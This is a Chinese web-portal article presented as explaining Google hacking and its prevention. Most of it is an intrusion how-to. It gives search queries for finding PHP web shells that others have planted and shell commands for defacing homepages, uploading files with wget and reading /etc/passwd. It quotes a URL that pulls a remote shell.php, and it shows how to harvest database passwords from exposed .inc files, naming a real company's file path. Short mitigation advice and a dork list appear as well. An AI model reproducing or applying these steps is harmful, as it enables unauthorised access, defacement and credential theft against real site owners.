首 页
┆
源码下载
┆
IT学院
┆
字体下载
┆
模板下载
┆
源码发布
┆
广告合作
┆
网站地图
┆
虚拟主机
┆
中文域名
►
设为首页
►
加入收藏
►
联系我们
源码下载
>>
ASP源码
|
PHP源码
|
ASP.net源码
|
JSP源码
|
CGI源码
|
VC/C++源码
|
VB源码
|
Delphi源码
|
Flash源码
文章学院
>>
网络编程
|
网页设计
|
图形图象
|
数据库
|
服务器
|
网络媒体
|
网络安全
|
操作系统
|
办公软件
|
软件开发
|
黑客知识
字体下载
>>
精制字体
|
非英字体
|
艺术字体
|
著名字体
|
哥特式
|
简单字体
|
手写体
|
节假日
|
图案字体
|
精度像素
|
中文字体
模板下载
>>
企业门户
|
数码网络
|
休闲娱乐
|
影视音乐
|
旅游名胜
|
文化艺术
|
电子商务
|
个性展示
|
登陆导航
|
Flash模板
源码搜索
文章搜索
字体搜索
模板搜索
►►
您当前的位置:
源码园
→
IT学院
→
操作系统
→
FreeBSD
→ 文章内容
信息安全的隐患-GoogleHacking原理和防范
作者:佚名 来源:网上收集 发布时间:2006-5-22 18:38:40
信息安全的隐患-GoogleHacking原理和防范 2004年在拉斯维加斯举行的BlackHat大会上,有两位安全专家分别作了名为You found that on google ? 和google attacks 的主题演讲。经过安全焦点论坛原版主WLJ大哥翻译整理后,个人觉得有必要补充完善一些细节部分。今天向大家讲述的是Google的又一功能:利用搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息,甚至可以直接进行傻瓜入侵。
用google来进行“渗透测试”我们今天渗透测试人员在实施攻击之前,往往会先进行信息搜集工作,而后才是
漏洞确认和最终的漏洞利用、扩大战果。在这里我们现在要谈的是:一、利用google查找被人安装了php web
shell
后门的主机,并测试能否使用;二、利用google查找暴露出来的INC敏感信息.OK,现在我们开始:1.查找利用php webshell我们在google的搜索框中填入: Code: intitle:"php shell*" "Enable stderr" filetype:php (注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执行命令的web shell来。如果找到的
PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的
PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。通过我的检测,这个
PHPWEBSHELL是可以直接Echo(
Unix常用命令)。一句话就把首页搞定了: Code: echo "召唤" > index.jsp 在得到的 Code: echo \ 后再写上:"召唤"现在看看首页,已经被我们改成: "召唤" 了我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file echo "test" >> file 这样一条条打出来,站点首页就成功被替换了。同样的也可以 Code: uname -a;cat /etc/passwd 不过有点要注意,有些WEBSHELL程序有问题,执行不了的,比如:http://www.al3toof.com/card/smal ... c_html&command=http://ramsgaard.net/upload/shell.php 这些站的php是global register off 解决方案:我们可以利用相关工具进行在互联网进行搜索,如果有信息被滥用,到http://www.google.com/remove.html 提交你希望删除的信息,控制搜索引擎机器人的查询.2.搜索INC敏感信息我们在google的搜索框中填入: Code: .org filetype:inc 我们现在搜索的是org域名的站点的INC信息(因为google屏蔽掉了搜索"COM"信息,我们还可以搜其他gov,cn,info,tw,jp,edu等等之类的)PS:我在看许多
PHP编程人员在编程时候,都喜欢把一些常写的代码或配置信息,写在一个.inc的文件中,如shared.inc、global.inc、conn.inc等等,当然这是一个很好的习惯,包括
PHP官方网站都是如此,但不知你有没有注意到这里面含一个安全隐患问题。 我有一次在写一个
PHP代码时,无意中写错了一句话,当我在浏览器里查看此
PHP文件时,竟然发现屏幕详细的显示了我所出错的
PHP文件路径及代码行。(
PHP错误显示配置是开着的.此功能在
PHP里是默认的!),这就是说当我们无意写错代码(同样.inc文件也一样) 或者
PHP代码解析出问题时,而
PHP错误显示又是开着的,客户端的用户就会看到具体url地址的.inc文件,而.url文件如同txt文本一样,当在浏览器中浏览时,就毫无保留地显示了它的内容,而且不少站点在.inc文件写了重要的信息如用户
密码之类!包括国内著名海尔公司以及嘉铃摩托公司,我之所以敢公布是因为我本人测试过,http://www.haier.com/su ***/inc/conn.inc 暴出的数据库ID密码用客户端连不上去,网站关闭了1215,而且
防火墙也过滤掉了。好,INC的知识说完后,我们继续又搜索到了好多,找到一个暴露了MY
SQL
口令的我们又可以用客户端登陆上去修改数据了.这里涉及到数据库的知识,我们不谈太多,关于"INC暴露敏感信息"就到这里结束吧当然我们可以通过一些办法解决: 1,你可以专门对.inc文件进行配置,避免用户直接获取源文件。 2,当然比较好的方法是,加上并且改文件扩展名为.php(
PHP可以解析的扩展名),这样客户端就不会获取源文件了。 这里,我将FreeMind绘制的图片用文本表示了.有关Google Hack的详细信息,帮助我们分析踩点连接符: Code: + - : . * │ 操作符: Code: "foo1 foo2" filetype:123 site:foo.com intext:foo intitle:footitle allinurl:foo 密码相关 Code: :“index of”htpasswd / passwd filetype:xls username password email "ws_ftp.log" "config.php" allinurl:admin mdb service filetype:pwd (frontpage) 敏感信息: Code: "robots.tx" "disallow:"filetype:txt inurl:_vti_cnf (frontpage files)allinurl:/msadc/samples/selector/showcode.aspallinurl:/examples/jsp/snp/snoop.jspallinurl:phpsysinfoipsec filetype:confintitle:"error occurred" odbc request where (select│insert)"mydomain.com" nessus report"report generated by" 结尾:如果要拿ROOT
权限就要具体问题具体分析了,不过有了SHELL权限就好提了,网上有很多根据WEBSHELL提升权限的文章大家可以参照一下.通过google我们还可以搜索到很多有用的东西,不过是细节,要通过信息收集慢慢分析、扩大、进行入侵.这些我就不具体分析了.给大家个思路,大家慢慢研究好了到这里,这篇文章就要结束了,写这篇文章的目的是为了引起大家的关注与重视,了解新的HACK手段,了解新的防护方法,事物都有两面性,在当今Google盛行的时代,在充分利用google的同时.也应该看得更全面.
[] [
返回上一页
] [
打 印
]
上一篇文章:
Nessus安全测试插件编写教程1
下一篇文章:
整理一下笔记 for iptables
相关文章:
从艳照门谈个人信息安全解决
Java体系结构对信息安全的支持
信息安全的隐患-GoogleHacking原理和防范
网络安全新木桶理论与信息安全
利用Google作黑客攻击的原理和防范(3)
利用Google作黑客攻击的原理和防范(2)
利用Google作黑客攻击的原理和防范(1)
[组图]
信息安全—3D-SMP
信息安全不可低估的30个细节
经验共享:安全基础信息安全不可低估的30个细节--共...
关于本站
-
网站帮助
-
广告合作
-
下载声明
-
友情连接
-
网站地图
-
源码发布
Copyright © 2003-2009
Ymyasp
.Com
. All Rights Reserved .
备案序号:粤ICP备07029071号